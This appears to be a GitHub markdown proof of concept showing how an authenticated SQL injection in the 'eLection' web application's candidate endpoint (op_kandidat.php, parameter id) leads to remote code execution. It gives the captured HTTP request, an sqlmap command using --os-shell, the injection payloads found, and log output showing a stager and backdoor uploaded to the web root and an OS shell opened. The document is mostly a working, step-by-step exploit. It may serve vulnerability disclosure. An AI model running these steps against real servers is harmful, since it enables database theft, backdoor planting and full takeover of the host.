J3rryBl4nks Create SQLiIntoRCE.md History

1 contributor

68 lines (46 sloc) | 2.28 KB

The eLection Web application is vulnerable to authenticated SQL Injection which leads to remote code execution:

Login to the admin portal and browse to the candidates section. Capture the request in BurpSuite and save it to file:

```
POST /election/admin/ajax/op_kandidat.php HTTP/1.1

Host: 10.22.6.110

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.22.6.110/election/admin/kandidat.php?_

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 17

Connection: close

Cookie: el_listing_panitia=5; el_mass_adding=false; el_listing_guru=5; el_listing_siswa=5;
PHPSESSID=b4f0c3bbccd80e9d55fbe0269a29f96a; el_lang=en-us



aksi=fetch&id=256
```

Send the request to SQLMap with the following parameters:

```
sqlmap -r getcandidate --level=5 --risk=3 --os-shell -p id
```

SQLMap will find the injection:

```
---
Parameter: id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: aksi=fetch&id=256 AND 8584=8584

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: aksi=fetch&id=256 AND (SELECT 8551 FROM (SELECT(SLEEP(5)))nYfJ)

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: aksi=fetch&id=-9798 UNION ALL SELECT
NULL,NULL,CONCAT(0x7170707171,0x676d755461434e486f4947505170735769486153 4e664f416f434269487042545a76454f5843584b,0x71717a7871),NULL,N
- dWMc
---
```

```
[09:39:07] [WARNING] unable to automatically parse any web server path
[09:39:07] [INFO] trying to upload the file stager on '/opt/lampp/htdocs/election/' via LIMIT 'LINES TERMINATED BY' method
[09:39:07] [INFO] the file stager has been successfully uploaded on '/opt/lampp/htdocs/election/' -
http://10.22.6.110:80/election/tmpumlfm.php
[09:39:07] [INFO] the backdoor has been successfully uploaded on '/opt/lampp/htdocs/election/' -
http://10.22.6.110:80/election/tmpbpfkq.php
```

```
[09:39:07] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>
```

Due to the way the setup of the application requires you to change permissions on the directory of the web app, you should be able to get a shell.